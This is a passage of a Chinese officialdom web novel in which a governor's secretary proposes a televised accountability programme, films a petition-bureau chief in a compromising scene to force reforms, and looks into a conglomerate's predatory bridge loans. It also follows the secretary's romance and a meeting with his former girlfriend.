但李承作为省长秘书,省政府的‘二号首长’,汉江市委书记张建军,这位副部级领导,在见到李承时,都会微笑握手。 “李秘书真会说笑,我不是你们小年轻了,哪来的女朋友。”赵金福尴尬的笑了笑。 “我记得上次黄莉莉还打着你的名号,说让电视台领导照顾她呢,我以为她是你女朋友呢,呵呵呵...” 李承继续聊这个话题。 “女人的话,不要信,我都不认识什么黄莉莉。”赵金福摇了摇头,随口搪塞。 “哦,原来赵副书记跟黄莉莉没关系呀,那你这么晚怎么跑到省电视台来了呢?” 李承淡笑着,看他继续编。 “我随便逛逛而已,李秘书,你呢?”赵金福反问。 “我当然是来接我女朋友的,我没有结婚,不需要藏着掩着。”李承话有所指。 李承没结婚,他和许梦是自由恋爱,你情我愿。 但赵金福不一样,他有老婆有孩子,还出来乱搞,这就是严重的作风问题。 那就是违纪,算是需要被党纪处分和政务处分的。 而就在这时,黄莉莉,许梦,还有两个同事走了出来。 黄莉莉仰着下巴,走起路来一扭一扭的,在看到李承时,表情十分不屑,有一种盛气凌人的味道。 “赵副书记,你的绯闻女友出来了。”李承玩味一笑,说。 赵金福没有回答。 “李承,你少在那阴阳怪气,这是下班时间,下班时间就是....” 黄莉莉傲慢怼李承的同时,她准备伸手去拉帕萨特车门。 可她的手还未接触到车门把手,赵金福脚踩油门,汽车驶离了省电视台大门前。 看到赵金福把她跑下,黄莉莉一脸懵的大喊道:“老公!我还没上车呢,你干嘛去!” 看着黄莉莉跳脚的样子,李承和许梦相视一笑。 “你老公好像不敢认你,毕竟啊,他还有其他老婆。” 李承主动牵起许梦的手,回击的话,直戳黄莉莉内心中最薄弱的痛点。 这是李承对她诋毁许梦,进行了一次口头报复。 “好啦,我们走吧。” 许梦拉了拉李承,她并不愿意计较这些。 第75章 想法 “现在工作累不累?” 李承牵着许梦的手,两个人漫步在回宿舍的街道上。 “不累,挺轻松的。” 许梦摇了摇头,八点晚间新闻作为省电视台最重要的一档节目,后勤工作人员很多。 除了熟悉稿件,播报新闻和一些复盘工作外,她的工作内容并不多。 相比于以前的晚间节目,更加轻松。 “我还准备再负责一档节目,这样就能赚到更多的绩效和节目津贴。”许梦脸上洋溢着笑容,说。 “你很缺钱吗?”李承问。 这些年李承倒是攒了不少的钱,如果许梦遇到了什么急事,他倒是愿意出手帮助。 虽说,两个人刚在一起不久。 但就凭许梦能把她的贞洁之身就到现在,交给自己,就证明许梦也是一片真心。 “我想跟你一起努力,在汉江买一个属于我们两个人的家。”许梦甜甜笑着说。 听到这话,李承心里莫名的感动。 在这个年代,能够遇到一个什么都不图你的,还愿意跟着你一起为了未来而奋斗的女人,很不容易。 “房子的事情,结婚之前我会准备好。”李承说。 李承的父母是老辈子思想,在他大学毕业后,家里知道他有一个女朋友后,就想着让李承先成家后立业。 老两口花费大半辈子的积蓄,给李承在汉江买了一套房子。 房子面积不大,七十多平,小区年头也久,但汉江毕竟是个二线城市,房价很高。 那套房已经是老两口的竭尽所能。 李承的初恋女友秦虹对这个房子并没有什么意见,但是,秦虹的父母不同意,最起码也得是电梯房,还要一百平以上。 最后,因为两家达不成一致,被迫分手。 房子,只是一个引子,根本原因,还是秦虹父母本身就看不起李承这个小城市农村的孩子。 随着这些年房价的上涨,李承那套老房子也能卖上点价格。 换套大房子,交个首付还是绰绰有余的。 剩下一部分钱,加上李承这些年攒的积蓄,装修房子再给许梦一些彩礼,应该够用。 而且,李承有公积金,以后还贷款的压力也很小。 “我不想你那么累,我们的未来,当然要我们一起努力。”许梦微微仰起头,看着李承的侧脸,眼神中尽是憧憬之色。 “有你真好。” 这句话是李承发自内心的想法,能够遇到许梦这样的好女人,是他上辈子修来的福分。 “我最近确实有一个想法,想联合你们电视台一起举办个节目,但还没有向孟省长提议。” 李承说。 自从在孟良德身边工作以来,他见过很多政府部门的漏洞。 也看到过很多底层百姓的上访无门,控告无路的情况。 尤其是这次去了海森市,对他的感触更深。 “什么节目?”许梦好奇的问。 “问政类节目,就是将全省各地的负责人,叫到省电视台来,当着电视机前全省人民,回答和解决百姓的问题。 比如,今天的节目主题是工商环境,就将全省各地关于工商的举报信息收集起来,在节目上针对这些问题,对当地负责人进行询问。 明天是环保主题,就将各地环保负责人叫过来,来进行询问。” 李承将自己的想法讲述给了许梦。 如果这样的节目能主持播出,一定会引起社会的广泛关注,也能更快落实和解决百姓问题。 并且,可以以此为戒,给全省地方官员提个醒,让他们能够恪尽职责。 因为他们永远不知道,下一个被叫到省里参加的节目的人,会不会是他! “这是一个好节目啊,跟百姓的生活息息相关,收视率肯定没问题。” 许梦眼中闪烁着光芒,她摇晃着李承的手臂夸赞道:“宝宝,你真的太有创意了。” “但孟省长未必会批准。”李承微微一笑,说。 开展这样一个节目,需要全省的官员协同配合,耗费的时间精力很多。 除此之外,这个节目能够让百姓看清楚各个官员的真实情况,其中,自然是不作为的更多。 这会对政府的形象,产生一定的负面影响。 “我觉得孟省长一定会同意。” 回到家,两个人洗漱过后,干柴烈火,难免要缠绵一番。 结束后,满身香汗的许梦趴在李承肩膀上,感受着爱的余温。 ‘叮’ 就在这时,李承的手机响了。 “这么晚的,谁呀?” 现在时间已经将近十一点,如果是工作上的紧急情况也会打电话,这个时间来微信,不禁让许梦警惕起来,追问。 爱就会想要占有,当然不允许自己的另一半有其他情况。 李承拿起手机,当着许梦的面,解开了手机屏锁。 他身正不怕影子斜,自己现在除了对许梦之外,没有对其他女人有过半点心思。 也没有什么总聊天的异性朋友。 所有的异性聊天,都是围绕在工作之上。 “柳思瑶是谁,秦虹又是谁?” 可当李承自信满满的打开微信界面时,他的表情石化了。 耳边也传来了来自许梦阴恻恻的灵魂拷问。 发消息的人是柳思瑶,内容一共两条。 第一条:李承,我跟秦虹说了你现在的情况,这周末有时间吗?她想叫你出来吃饭。 第二条:把握住机会,很大概率会旧情复燃哦。 此时的李承,心中一万头草泥马奔腾而过。 “额....这个柳思瑶和秦虹都是我的大学同学,她俩是闺蜜,秦虹是我的初恋女朋友,但我们已经分开很多年了。 当初她父母瞧不上我,就逼着我们两个人分手了。 这不是柳思瑶在省委宣传部工作,上次我陪孟省长去开会的时候偶遇到了她,就聊了几句。 她这个人呢,就是热情的过头,她知道我现在给孟省长当秘书,非要找机会当着秦虹父母说道说道,也算是给她闺蜜出气。” 李承略作沉吟后,将事情的经过一五一十的讲述给了许梦。 他认为,人与人之间的相处,最重要的就是真诚。 一个谎言,就可能需要几十上百个谎言来圆,最后导致信任的崩塌.... 第76章 提议 “这段感情已经过去了,现在我的心里只有你一个人。”李承看着陷入沉默,眼神有些黯淡的许梦,表达自己的心意。 他跟秦虹的感情已经结束了,不可能再复燃。 在李承心中,许梦才是她最重要的另一半。 柳思瑶有撮合之意,只是还不了解李承已经有了女朋友。 【旧情复燃是不可能了,我有女朋友。】 李承当着许梦的面,回复了柳思瑶的信息。 他要通过实际行动来告诉许梦,他所讲的一切,都是真实可信的。 【有女朋友了呀,那我等着喝你喜酒了,哈哈哈。】柳思瑶没有再多嘴,回复道。 “我没有生气,就是有点失落和懊悔。”许梦嘟着小嘴,很委屈可怜的说。 “后悔跟我在一起了吗?” 听到后悔二字,李承心情变得紧张。 “我懊悔为什么自己不能早点遇见你,我想让你只属于我一个人,我不想让你有过去。” 许梦紧紧抱住李承,诉说着自己的占有欲。 李承轻轻拍了拍她光洁的背,叹了一口气:“我的过去,我没办法改变,但我的未来,我只想要你一个人。” “承哥,我想跟你结婚,你放心,我的家人不会不同意,就算所有人不同意,就算你一无所有,我也要跟你结婚,我爱你。” 许梦含情脉脉的看着李承,在她的眼神中,李承看到了浓浓的爱意。 这一刻,他相信许梦的话。 “我也爱你,放心,我不会做任何对不起的事情。” 李承说完,再次拥吻上许梦。 ..... 次日。 李承照常上班,中午,他跟孟良德再次来到了东兴面馆。 吃面时,李承唠家常似的,跟孟良德提出了自己的想法:“老板,最近锦绣广场,金河集团还有陈志伟的事给了我很多感触。 我想,我们能不能由政府牵头,开设一档问政类的节目,当着全省人民的面,真正去落实百姓的问题。 也让全省,甚至是全国人民看到我们省的工作态度。” “详细说说。” 孟良德对于李承的提议,感到一些兴趣,追问道。 “我的想法是....” 接下来,李承将这个问政类节目的细节,利好等想法,详细的说给了孟良德听。 听完李承的讲述,孟良德也放下了筷子。 他思索了半分钟,最后点了点头:“想法是不错的,但执行起来,还要多衡量一下。” 对于李承的想法,孟良德是认可的。 每个人身处位置不同,看问题的角度也不同。 李承所担心的,可能会对政府部门形象有损,执行困难等问题,在孟良德看来,压根不叫事。 政府形象,每个百姓心中都有定论。 即便不在节目上,其实,在民众心底深处,对于政府官员的形象,都是本能的负面。 办事难,手续繁琐,拿、卡、要、这些形象,是多年以来民众根深蒂固的想法,可能是从几代人就传下来的思想。 想要改变,并不是一件容易的人。 相反,把这些官员,全部都叫到省电视台这个照妖镜面前照一照,给全省人民看一看,更有利于民众重新树立起信任。 孟良德所顾虑的,是节目如果开展,可能遇到的诸多问题。 以及,这件事不是他一个人就能拍板决定的,还需要下面的人支持,还要跟省委书记通气。 能否得到大家的统一支持,才是孟良德顾虑的点。 李承只是提供一个建议,能否执行,还要由孟良德拿主意。 并且,因为许梦这层关系在,李承不能多言,否则会让孟良德多想。 “时间还来得及,我们去趟医院。” 吃过饭,孟良德看了一眼时间,说。 “好的老板。” 坐在专车,两人来到省第一医院。 原本秦海在公安医院救治,但随着病情的恶化,转移到了第一医院。 作为犯罪嫌疑人,秦海的病房,时刻有人盯守。 “孟省长。” 在看到孟良德赶到后,监管负责人小跑过来,向孟良德问好。 “秦海的情况怎么样?”孟良德问。 “整个人暂时稳定下来的,但医生说,他的全身器官已经衰竭,现在就是回光返照,活不过这个星期。” 负责人汇报道。 秦海的死,完全是在意料之内。 自从秦海服毒后,李承查过关于服用百草枯的案例。 以秦海服用的剂量,没有一个人能够幸存。 “能见吗?”李承问。 孟良德询问对方的目的,是想现在见秦海。 但负责人在解释完秦海的病情后,并没有带路的意思,李承这才出言提醒。 “可以见。” 负责人会意,连忙带路。 “李秘书,你在门口等我一下。” 在即将进入病房时,孟良德叫住了李承。 “好的老板。” 李承点头,没有跟进去。 有些事情,孟良德不想让李承知道,李承也就不想知道。 知道了太多,反而对自己没有好处。 这并非是不信任的表现。 坐在门口,等了大概半个多小时,病房的门开了,孟良德走了出来。 李承顺着玻璃,目光向里面瞟了一眼。 秦海正躺在病床上,他脸色苍白,身体瘦削了很多,已然成了一副骷髅架子。 上个月,他还是受人敬仰,高高在上的秘书长,如今.... 如果秦海知道自己最终是这种下场,李承想,他应该也会做一个好官。 “李秘书,你下午去一趟信访部门,查一下这些年关于花海集团的举报。”走出医院的路上,孟良德对李承吩咐道。 “好的,老板。”李承点头应下。 孟良德没有多说,但李承心中已然有了答案。 秦海向孟良德透露了些信息,而这些信息,跟花海集团有关联。 一直以来,花海集团在李承眼里就是一个迷,花海集团董事长李美娇更是迷一样的存在。 一个能跟众多官员传出绯闻的女人,又怎么会简单呢? 何况,在这些日子里,李承跟很多官员都打过交道,身处要职的权重领导也不在少数。 但这群人对于花海集团和李美娇,都是闭口不谈,避而远之。 第77章 信访工作‘重\’ 下午。 李承来到汉江市信访局。 里面的上访人员很多,排起了长队。 五个工作窗口,其中三人窗口无人,另外两个窗口,一个挂上了暂停接访的牌子。 只有一个窗口在接待。 而那名接待人员的脸上写满了不耐烦,对于上访人员的情况,基本处于充耳未闻,简单敷衍。 排在第一位的大妈还在诉说她的情况,接访人员却不停的打断催促。 “阿姨,这些话你不用跟我讲,我这里不是听你诉苦的地方,后面还有很多人在排队,你说话能不能简洁意赅呀。” “什么叫简洁意赅?”大妈的问话水平不高,纳闷的问。 “呵呵...” 听到大妈连这个成语都不知道,接访人员面露讥讽:“就是你挑重点说,没用的废话不要说。” 这话,可是半点不客气。 那个大妈的年纪,估计与接访人员的母亲差不多岁,甚至更大,可接访人员的语气里却没有半点尊重。 看到这一幕,李承微微皱眉。 这就是汉江市信访人员为人民服务的工作态度吗? 李承没有急于去要关于花海集团的举报材料,在旁边站了一会儿。 大妈的信访内容很简单,是村里非法占用了他家的农田,但是答应给的补偿却没有落实。 “行,你的问题我这边记录了,你回去等消息吧。” 在记录完大妈的情况后,接访人员敷衍答应。 “小姑娘,什么时候能有个答复啊,我上个月来过一回了。”大妈焦急的说:“我还等这笔钱买药呢。” “这我哪知道,不归我负责,你回去等吧,肯定有人联系你。” 接访人员不耐烦的回应了一句后,直接喊了下一个人。 大妈还想多说,可下一个人已经走到了接待台前,她也只能无奈起身离开。 看到这。 李承明白为什么很多人宁愿去市委市政府,甚至是省委省政府门口去闹事,也不愿意通过信访部门来解决问题。 究其原因,还是信访部门的不负责。 试问,如果信访部门能够解决问题,谁还会愿意去政府大门口闹事呢? 李承径直走向里面的办公室。 发现,很多工作人员正在闲聊天,还有人磕着瓜子。 如此悠闲的一群人,却只留出一个窗口进行接访,这分明是对工作的不负责任。 属于是懒政行为。 “信访去外面排队,这里是办公室。” 里面的人看到了李承,只是扫了他一眼后,开口打发道。 “你们这么多人闲着,就留一个窗口接待,队伍都快排到大门外了,去排队什么时候能够排到?” 李承眉头皱得更紧,冷声质问。 “不愿意排,那你就明天早点来,上午窗口多。”对方敷衍打发道。 “我要见你们局长。”李承道。 “你多大口气啊,说要见局长就见局长,我们局长要是天天来接待....” 对方的话没等说完,李承亮出了自己的工作证。 对方看到李承是带着证件来的,闭上了嘴,走近几步来看李承的证件。 当看到证件上的内容时,整个人的表情都变得十分滑稽起来。 “我能见吗?”李承问。 “李秘书,我们局长在二楼办公室,您这边请。” 在对方的引路下,李承来到了二楼局长办公室。 这群下属的懒政行为,李承并没有权力直接追究,也不会与他们过多计较。 他们的偷奸耍滑,是领导者懒政和不作为的结果。 要追究,也是追究领导者。 走到门口,领路的男生准备敲门,李承却没有给他机会。 直接推门而入。 “谁让你们不敲门进来的!” 门还没有彻底打开,里面就传来了一声呵斥:“出去。” 可李承怎么会听他吩咐。 “廖局长,好久不见啊。”李承径直走到廖光辉办公桌前,微笑招呼。 两个人在锦绣广场聚众闹事的那一天见过。 “啊,是李秘书啊。” 看到是李承到来,廖光辉脸色一变,本想起身,又想到了什么,并未站起来。 他坐在原位,表情尴尬的挤出一抹笑容。 但他看向给李承带路的工作人员时,眼神里充斥着愤怒。 “廖局长,没打扰你工作吧?” 李承主动伸出手,笑眯眯的盯着廖光辉。 他这次过来,是带着孟省长的工作安排来的。 在官场上是有潜规则的,见到首长秘书,要按照见到首长本人来招待。 所以,首长的秘书被称为‘二号首长’。 这就相当于在封建社会里,各路官员见到太监拿着皇帝手谕到来一样。 但廖光辉见到他,却连屁股都没抬一下,这让李承有些不满,便主动伸出手。 “呵呵...不打扰。” 廖光辉吞咽了一口口水,微微欠身跟李承握了握。 但他始终不敢站直身体。 “呀,廖局是受了什么腿上吗?”李承问。 “我呀,腰间盘有点突出,不敢直腰,李秘书多见谅。”廖光辉找了一个借口敷衍道。 可他拙劣的演技,却根本没办法逃过李承的眼睛。 李承知道,这老家伙在办公室里,可能没干什么好事。 “我正好会点按摩手法,来,廖局,我给你按按。” “不用了李秘书。” “没事...” 李承没有给廖光辉拒绝的机会,便走到了廖光辉的身边。 当走过去时,李承的嘴角泛起一抹淡淡的笑容。 廖光辉的裤子只提到了一半,下半身穿了一条红色的裤衩。 而在桌子底下,还有一个三十多岁的女人跪在那里。 女人的衣服是整理过的,却还是显得格外衣冠不整,双腿上的丝袜也尽是破洞。 女人在跟李承目光注视后,连忙捂住了脸。 而廖光辉的额头已经渗出了冷汗,他想站起身,跟李承解释求饶:“李秘书....” 但他的话还没说出口,便被李承按住肩膀,刚刚抬起的屁股又坐了下去,说到一半的话,也停在了嘴边。 “嘶...廖局长,你这腰间盘是有膨出啊,应该是久坐累的吧,哎呀,你们信访局的工作确实繁忙。 刚才我来的时候,门口都排起了长队,廖局长每天的工作很重呐。” 第78章 明目张胆的拍摄 “李秘书,您就....” “你先出去,把门带上。” 李承打断了廖光辉的话,对那名工作人员说道。 闻言,工作人员点头如捣蒜的退出办公室,并关上了门。 房门关闭后,廖光辉站起身,准备提上裤子。 “廖局长,等一下。”李承喊住了他。 廖光辉提裤子的动作一滞,疑惑的看向李承。 而此时的李承,已经拿出了手机,当着廖光辉的面,对他进行的录像。 廖光辉看到镜头时,惊慌失措的将头转到了一旁,连忙提起了裤子。 录像后,李承没再理会廖光辉,大摇大摆的坐在了沙发上,欣赏起自己的录像。 录制的时间并不长,只有八秒钟。 但在这八秒里,李承录到了廖光辉提到一半的裤子和显眼的红内裤,以及桌底下衣衫不整的女人,还有廖光辉的正脸。 并且,李承在最后时刻,还环绕了一圈,拍摄了一下周围环境,确定这是在办公室内。 录到这些,就足够掌握廖光辉的命运。 “李秘书,你这是干什么,把视频删了吧。” 廖光辉尴尬的凑到李承旁边,一脸谄媚的笑容:“有什么要求,你可以提嘛。” “什么要求你都能做到?”李承淡淡的问。 “只要能删视频,我一定会做。”廖光辉信誓旦旦的说。 “违法乱纪的事情呢?”李承微笑问。 闻言,廖光辉沉默了。 他知道,这还是李承给他挖的坑。 “廖局长,你敢在办公室里搞刺激,又怕什么录像呢?” 李承玩味的说完,用一副教训的口吻说:“你身为局长,上班期间不做你的本职工作,做如此苟且之事。 还有跟我谈条件做交换,你拿工作当生意吗?还是想贿赂我换视频啊!” 李承身为副处级干部,敢用这种领导者的口吻训斥一个副厅长,这不仅仅是他身份的压迫。 还有这段视频的分量。 “我这是第一次,保证也不会有下次,李秘书,您给我一个机会。”廖光辉低声下气的乞求道。 “你这已经不是生活作风的问题了,明白吗?”李承严厉的说。 “明白。” 廖光辉被李承训斥得像孙子,连连点头,大气都不敢喘。 “我可以给你一个机会,视频,我暂时不会给孟省长看。 但是,你身为汉江市信访局的局长,掌管整个汉江市的民情民怨,如果你一直是以这个工作态度办公的话,我不介意帮你调个更轻松的地方工作。” 李承翘起二郎腿,手中视频给了他足够的底气,让他可以完全卸下伪装,以舒服的姿势面对廖光辉。 “李秘书,我这种行为真的是第一次,对于工作,我一直都是兢兢业业的。”廖光辉狡辩道。 “你工作态度怎么样,我从楼下上来了,我能不知道吗?” 李承轻哼一声:“五个窗口,只有一个窗口开放,几十个老百姓排队那一个窗口。 你们其他工作人员却在嗑瓜子,闲聊天,这就是你管理下的信访局。” “李秘书,我这就去整顿。” 说着,廖光辉便要出门,去做出些实际行动来给李承看。 “等一下。”李承喊住了他。 “李秘书,您这次过来,是有什么吩咐?” 廖光辉刚才是被视频搞得慌乱,被李承叫住,他才想起来,这位省长大秘不会无缘无故的到访。 一定是带着省长的指示。 “省长要这些年来,所有关于花海集团的举报上访材料。”李承道。 听到花海集团四个字,廖光辉的脸色微微一怔。 “有什么不妥吗?” 李承察觉到他表情中的不对劲,开口问。 “没什么,我这就去调。” 廖光辉连连摇头,开门出了办公室。 李承也跟在了他的身后。 花海集团的关系网过于庞大,李承不清楚廖光辉在不在这层关系网之类,他要跟随监督。 楼下办公室内,那群人在知道省长秘书到访后,也不再闲聊天了。 但窗口,依旧只开放了一个。 “你们都闲着干什么呢,这么多上访人员,就开一个窗口,你们怎么想的,国家养你们吃来这吃干饭的吗!” 看到这群闲着的工作人员,廖光辉劈头盖脸就是一顿臭骂:“不想干就给我趁早滚蛋,我的手底下不养闲人!” 这群人被骂得不敢吭声。 而那些排队的上访群众听到有领导教育这群工作人员,也纷纷议论起来。 夸赞廖光辉训斥得好。 谩骂那群懒政的工作人员,以及各种各样的抱怨。 “从今天开始,开放窗口不允许低于三个!”廖光辉严厉的命令道。 “局长,不是你...” “好的局长,我们知道了。” 其中一个女同志还想反驳,被另外一个男同志给打断了,两个人纷纷闭上嘴。 李承清楚。 这些人的懒惰行为,背后一定是跟廖光辉息息相关。 但这些东西,并不在李承的管理范畴内,他也不会去追问。 “小陈,你把这些年关于花海集团的上访材料全部调出来,打印一份。”廖光辉吩咐道。 上访材料,按照流程都会录入在电脑里,查找方便,便于办公。 “好的局长。” 大概十几分钟后,被称之为小陈的女同志拿着一沓资料递给了廖光辉。 “李秘书,您要的材料。” 廖光辉双手递到李承的手中。 “辛苦了,廖局。” 李承接过材料,转身朝着外面走去,廖光辉跟随相送。 出了信访局的大门,廖光辉给李承递了一根香烟:“李秘书,省长是准备对花海集团做调查了吗?” “你跟花海集团有关系?”李承所问非所答的道。 “没,没有。” 闻言,廖光辉连忙摆手,好像生怕与花海集团有半点关联。 “那你为什么要问?”李承吸了一口烟,淡淡的反问。 “嗯....如果孟省长真的准备对花海集团动手,我或许能提供一些线索。”廖光辉沉吟了几秒后,压低声音说。 “说来听听。”李承来了兴趣,问。 “等等吧,等省里开启对花海集团调查的。”廖光辉摇了摇头:“在此之前,你就当我刚刚在胡说八道。” 第79章 拜访 回到省政府。 孟良德在开会,李承坐在办公室里,翻阅起关于花海集团的上访材料。 秘书是首长的眼睛,九成以上到达孟良德面前的文件,都会由李承这位秘书先过目一遍。 这也就给了秘书很大的操作空间。 看似秘书没什么实权,却能被誉为‘二号首长’,受到各位领导尊重,就是源之于这些操作空间。 如果李承想包庇花海集团,只需要将其中较为严重的材料留下,把一些无关紧要的材料上交,便能帮花海集团减少很多麻烦。 这些麻烦,如果递交到省长面前,花海集团李美娇就是找到厅级,甚至是副部级干部,也很难从根本解决! 关于花海集团的上访材料很多,从各个方面,各个分公司都有百姓上访。 绝大多数都是一些小问题。 这些小问题,对于百姓来讲,可能是大问题。 但站在省政府的角度来看,这些问题就算处理起来也无足轻重,对花海集团没有太多影响,所以,李承将他们归类为小问题里。 而那些被验证真伪后,触碰到法律红线的问题,才是大问题。 大问题和小问题李承在看过后会进行归类,方便孟良德审阅,节省首长的时间。 大问题里,李承并没有什么引起李承重点关注的事件。 但在小问题归类中,几封上访信引起了李承的注意。 内容是关于花海集团过桥放贷,以及强迫签署不平等合同的问题。 合同分歧,还有放贷问题,算不上大问题,这是很多大公司都会触及到。 另李承关注的,是信访内容里,提到的被害公司。 汉江市,锦绣置业股份有限公司。 锦绣置业,黄天耀的公司。 没想到,他们与花海集团还有密切关联。 这不禁就让李承联想到,锦绣置业的诈骗跑路,会不会与花海集团有牵连。 于是,李承将这几封上访内容,放在了所有资料的最上方,摆到了孟良德的办公桌上。 半个小时后,孟良德回到了办公室。 李承烧好水,进入办公室为孟良德倒水。 下午,孟良德在不见客人时,基本是不喝茶的,怕影响睡眠。 “这些文件内容,你都看过了吧?” 孟良德一页一页的翻看着,低头询问。 “嗯,看过了。”李承边倒水边说。 “有什么让你觉得值得亲身调查的地方?”孟良德问。 亲身调查四个字,是重点。 其他的一些问题,很多是信访局和相关部门处理过的,没有继续深究的必要。 孟良德要这些材料,无非就是想洞察值得关注的信息。 李承如果回答说,那些被履历出来的大问题都值得调查一番,就是没理解领导的意思。 作为首长的秘书,可以答错,但不能不领会到领导的重点。 如果句句需要领导深度解释,那么领导会觉得相处很累,渐渐将这位秘书排除在外。 “关于锦绣置业的上访,我认为值得关注,我给它放在了最上面。”李承道。 “嗯,有时间你去联系一下这个信访人,不要在上班时间去。”孟良德叮嘱道。 “好的省长。” ..... 下班后,李承按照地址,来到了信访人的住址。 信访人叫刘秀英,是锦绣置业销售总监马泽的妻子。 李承大概能猜到,刘秀英去信访局上访,是在马泽不知情的情况下去的。 如果马泽知情,一定不会让她做这种‘蠢’事。 毕竟,花海集团的水太深了,信访部门也一定有李美娇的眼线,他们去信访局上访,这些内容,不会传达到上级部门的手中。 更容易落到花海集团的手里。 ‘叮咚’ 站在门口,李承按响了门铃。 “叔叔,你是谁呀?” 开门的是一个小男孩,八九岁的样子。 胖嘟嘟的,十分可爱。 “你妈妈没有告诉过你,不要给陌生人开门吗?”李承看对方可爱,便出言玩笑了一句。 “叔叔,你是坏人吗?我妈妈不让给坏人开门。” 小男孩眨着童真的大眼睛,小胖手紧抓着房门,有准备关闭的意思。 “叔叔是坏人的话,你现在关门也晚了。”李承把住房门,笑呵呵的说。 “你是?” 就在这时,一个三十六七岁的少妇走了过来,警惕的问。 “我是新任省长的秘书,我姓李,这是我的工作证。” 李承亮出自己的证件,证明身份:“请问,你是刘秀英吗?” “嗯,我是。”刘秀英点头。 “这次过来,是看到你在两年前给信访局写信,举报花海集团违规贷款,和不平等合约一事。”李承收起证件,说。 “都过去了,我不举报了。” 刘秀英听闻是此事,摆了摆手。 “锦绣广场的事件您应该也听说了,省长很重视这件事,还请您配合一下。”李承说。 “我老公已经被辞退了,没这个必要了吧。” 当初刘秀英选择举报,是因为花海集团一步步将锦绣置业逼上绝路。 而为了给老公保住这个高薪工作,她才想到了信访的办法。 可如今,锦绣置业已经倒闭,马泽也另寻出路,刘秀英不想再牵扯到这件事。 “请你配合调查,关于这次访问,我会严格保密,不会影响到您的正常生活。” 李承知道对方的担忧,劝道。 多一分线索,就多一分希望,锦绣广场事件得以的解决,政府部门也背负着巨大的压力。 孟良德当然想搞清楚真实原因。 铲除那些暗处中,影响汉江企业经营,民生等环境的毒瘤。 “嗯...你确定不会有人知道?”刘秀英思索了几秒后,问。 她老公虽然找到了新的工作,但新的工作收入,照比锦绣置业是天差地别。 按道理,马泽是销售总监,就算离开锦绣置业也能找到份不错的工作。 但就是因为她给信访投了举报信,导致马泽被花海集团封杀。 很多大公司为了不得罪花海集团,明知对方是个人才,也不敢用。 因为此时,小两口日子变得拮据,也经常发生口角。 刘秀英心里对花海集团有恨意。 第80章 故人 “我确定,我这次是代表孟省长过来的。”李承搬出了省长的名号,足够让对方信任。 “进来吧。” 刘秀英打开鞋柜,拿了一双客用拖鞋出来。 李承换上拖鞋,走进客厅。 “李秘书,您坐。” 刘秀英请李承到沙发坐下,又给李承倒了杯水过来:“喝水。” “谢谢。” 李承接过水杯,表达了感谢。 “毛豆,你去屋里看会书,妈妈跟叔叔有些正事要谈。”刘秀英摸了摸男孩的脑袋,笑着说。 “嗯,好。” 男孩点了点头,进入房间。 刘秀英将门关闭后,坐在了李承的侧边。 “刘女士,你在举报信中提到了过桥贷款,可以先详细讲讲吗?”李承喝了一口水后,放下水杯。 “具体细节我也不知道,听我爱人说,当初锦绣置业筹备建设锦绣广场时,因有一个楼盘验收出现问题,导致保证金被冻结,从而在锦绣置业项目上出现了一个亿的资金缺口。 锦绣置业通过中间人,向花海集团借了一笔两个月的过桥贷款。 验收的问题不大,黄总也打点好了关系,据说半个月内就能释放保证金,可结果,花海集团的关系更强。 这笔保证金硬是拖到了三个月才释放出来,可这个时候,锦绣置业已经逾期。 按照合同规定,黄总需要用天玺楼盘下的沿街门市,五十余套作为偿还,总价值在两亿左右。 面对如此巨额的亏损,黄总肯定不会同意....” ‘门以开’ 就在刘秀英向李承讲述举报内容细节时,电子门锁解开,一个中年男人疲惫的走了进来。 “老公,你回来了。” 看到马泽回来,刘秀英有些慌张。 “嗯,家里人来客人了。” 马泽瞥了李承一眼,将外套挂在门口,换上拖鞋。 “这位是新任省长的秘书,想跟我们了解一下关于花海集团和黄总过桥贷款的事情。” 刘秀英想了一下,还是决定向马泽坦白实情。 “马先生,你好。” 李承也站起身,跟对方打了个招呼。 马泽并没有理会李承,而是像被触碰到了某条神经一样,表情的变得极为严肃。 “我跟你说多少遍了,不要再提花海集团,不要再提花海集团,你他吗的是想害死我是吗?” 马泽十分严厉,近乎于愤怒的指着刘秀英。 “我想着他是省长的秘书,或许可以....” “可以什么,锦绣置业已经倒闭了,现在就是花海集团所有人都死绝了,我们的生活也回不到过去了。 你他妈的害了我一次,是不是还想害我第二次啊,我是不是死了,你才能彻底消停!” 马泽怒吼道。 “马先生,我只是想了解一下情况,对于这次到访我会保密,不会让他们生活有任何影响。” 李承开口替刘秀英解围。 “就是,哪有你说的那么严重。”刘秀英低声道。 “你知道个屁!” 马泽怒骂刘秀英后,继续道:“黄耀天逃到国外都被弄死了,你跟他说了这些,我哪天万一出车祸被撞死,就他妈的是你害死的!” 闻言,刘秀英被丈夫严厉的态度给吓哭了。 她委屈低声的道歉:“对不起,我不知道,我以后不会乱讲了。” “这件事不怪她,她也什么都没跟我讲,我保证今天到访的事情不会传到外人耳中。 我就先不打扰了。” 李承说罢,迈步准备离开。 他看到马泽坚决的态度,也很清楚,再问一下对方也不会讲半个字,是自讨没趣,还会破坏别人的夫妻感情。 马泽已经离开了锦绣置业,就算花海集团落网,对马泽的现状也没有任何改变。 费力不讨好,反倒是容易惹上麻烦的事情,马泽不会做。 “不送。” 听到李承准备离开,马泽很是冷漠的丢下两个人。 他宁愿得罪一个省长秘书,也不敢得罪花海集团,足以证明,花海集团给他的生活带来了多大恐惧。 离开刘秀英的家,李承心情有些低落。 在刘秀英即将讲述到重点时,马泽回来,导致自己碰了一鼻子灰。 他出了电梯,点燃一根香烟。 以前的李承并不怎么抽烟,除非是审计工作遇到难题,才会偶尔点上一根。 但自从作为省长秘书,他的工作似乎处处都充满了难题和高压。 这些压力,源自于时刻保持的警惕。 伴君如伴虎,给省长做秘书也是这个道理,容不得出错。 “李承。” 正当李承准备出小区时,一道久违而熟悉的声音,喊出了他的名字。 李承抬头看去,是秦虹。 这时李承才想起来,秦虹的家,也住在这个小区。 看着那道比上次见面更加成熟的面孔,李承心中百感交集。 有些人,你见了这一面,下一次再见就不知道是何时,可能是一辈子。 李承清楚记得上次分别的地点,是在电影院。 那次见面时,两个人还很相爱,手牵手,秦虹的头靠着李承肩膀,看完的电影。 本来已经开好了房间,两个人准备看完电影就去享受‘爱’的体验。 可秦虹却被她妈妈急匆匆的电话叫回了家,后来,在家人的逼迫下,秦虹跟李承在电话中提了分手。 那次在电影院门口的分别,也成为了这些年来,两个人最后一次见面。 “好久不见。” 李承深吸了一口烟,收起复杂的情绪,跟秦虹打了声招呼后,目光看向了跟她结伴而行的父母:“叔叔,阿姨。” 三人提着菜,应该是刚逛完市场。 “好久不见。”秦虹微微一笑。 